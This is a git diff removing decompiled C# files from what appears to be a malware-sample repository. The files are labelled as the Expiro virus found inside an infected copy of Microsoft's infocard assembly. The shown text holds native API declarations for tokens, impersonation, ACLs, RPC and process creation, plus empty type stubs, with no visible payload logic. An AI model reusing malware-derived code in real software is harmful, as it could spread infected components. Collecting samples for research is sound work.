(\u003CModule\u003E.\u003FA0xe6292fd0\u002EArrayUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint _wmainCRTStartup(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int HeapSetInformation( - [In] void* obj0, - [In] _HEAP_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVolumeInformationW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint* obj3, - [In] uint* obj4, - [In] uint* obj5, - [In] ushort* obj6, - [In] uint obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CreateWellKnownSid( - [In] WELL_KNOWN_SID_TYPE obj0, - [In] void* obj1, - [In] void* obj2, - [In] uint* obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalFree([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int InfoCardKeyGenX931( - [In] uint obj0, - [In] byte* obj1, - [In] byte* obj2, - [In] byte* obj3, - [In] byte* obj4, - [In] uint obj5, - [In] byte* obj6, - [In] byte* obj7, - [In] uint obj8, - [In] byte** obj9, - [In] uint* obj10, - [In] X931_restart_t* obj11); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CloseHandle([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertSidToStringSidW([In] void* obj0, [In] ushort** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsTrustedUser( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] uint obj5, - [In] void** obj6, - [In] void** obj7, - [In] uint* obj8, - [In] void* obj9, - [In] void** obj10); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CheckTokenMembership([In] void* obj0, [In] void* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RpcRevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsUserHelper( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] void** obj5, - [In] uint* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingSetAuthInfoW( - [In] void* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint obj3, - [In] void* obj4, - [In] uint obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetEntriesInAclW( - [In] uint obj0, - [In] _EXPLICIT_ACCESS_W* obj1, - [In] _ACL* obj2, - [In] _ACL** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void* obj3, - [In] void* obj4, - [In] _ACL* obj5, - [In] _ACL* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalAlloc([In] uint obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint InfoCardStartRpcServer([In] ushort* obj0, [In] _RPCCALLBACKS* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoCloseContext([In] void* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateJobObjectHelper([In] void** obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint VerifyTrust([In] ushort* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SHGetFolderPathW( - [In] HWND__* obj0, - [In] int obj1, - [In] void* obj2, - [In] uint obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern uint GetLastError(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DuplicateTokenEx( - [In] void* obj0, - [In] uint obj1, - [In] _SECURITY_ATTRIBUTES* obj2, - [In] _SECURITY_IMPERSONATION_LEVEL obj3, - [In] _TOKEN_TYPE obj4, - [In] void** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint GetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void** obj3, - [In] void** obj4, - [In] _ACL** obj5, - [In] _ACL** obj6, - [In] void** obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringFreeW([In] ushort** obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateAndWaitForFileOpenDialog( - [In] ushort* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint AdjustPrivileges([MarshalAs(UnmanagedType.U1)] bool _param0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetHighAssuranceFlags([In] _CERT_CHAIN_CONTEXT* obj0, [In] uint* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFree([In] void** obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVersionExW([In] _OSVERSIONINFOW* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertStringSidToSidW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcImpersonateClient([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaGetLogonSessionData( - [In] _LUID* obj0, - [In] _SECURITY_LOGON_SESSION_DATA** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaFreeReturnBuffer([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* OpenProcess([In] uint obj0, [In] int obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int EqualSid([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void AssertInternal( - [MarshalAs(UnmanagedType.U1)] bool _param0, - [In] ushort* obj1, - [In] sbyte* obj2, - [In] int obj3, - [MarshalAs(UnmanagedType.U1)] bool _param4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3, - [In] uint* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int _wcsnicmp([In] ushort* obj0, [In] ushort* obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void MIDL_user_free([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* GetCurrentProcess(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint InfoCardStopRpcServer(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void InfoCardKeyGenZeroAndFree([In] byte* obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoDispatchRequest( - [In] void* obj0, - [In] ushort* obj1, - [In] _RPC_REQUEST* obj2, - [In] _RPC_RESPONSE** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe _CRYPT_OID_INFO* CryptFindOIDInfo( - [In] uint obj0, - [In] void* obj1, - [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringBindingComposeW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] ushort* obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] ushort** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int OpenProcessToken([In] void* obj0, [In] uint obj1, [In] void** obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFromStringBindingW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* _getFiberPtrId(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _amsg_exit([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void __security_init_cookie(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void Sleep([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException( - [In] Exception obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer( - [In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain( - [In] __FnPtr obj0, - [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _cexit(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void delete([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.ThisCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void type_info\u002E\u007Bdtor\u007D([In] type_info* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int __FrameUnwindFilter([In] _EXCEPTION_POINTERS* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void terminate(); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACCESS_MODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACCESS_MODE.cs deleted file mode 100644 index f251b52e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACCESS_MODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACCESS_MODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ACCESS_MODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL.cs deleted file mode 100644 index 5f273af1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ACL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL_INFORMATION_CLASS.cs deleted file mode 100644 index df28d7b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _ACL_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACTIVATION_CONTEXT_INFO_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACTIVATION_CONTEXT_INFO_CLASS.cs deleted file mode 100644 index 6907f84f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACTIVATION_CONTEXT_INFO_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACTIVATION_CONTEXT_INFO_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ACTIVATION_CONTEXT_INFO_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_APTTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_APTTYPE.cs deleted file mode 100644 index 82e4bc91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_APTTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _APTTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _APTTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_AUDIT_EVENT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_AUDIT_EVENT_TYPE.cs deleted file mode 100644 index a4f432a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_AUDIT_EVENT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _AUDIT_EVENT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _AUDIT_EVENT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_BIN_TYPES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_BIN_TYPES.cs deleted file mode 100644 index 45986a19..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_BIN_TYPES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _BIN_TYPES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _BIN_TYPES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CERT_CHAIN_CONTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CERT_CHAIN_CONTEXT.cs deleted file mode 100644 index de7edbcc..00000000 --- 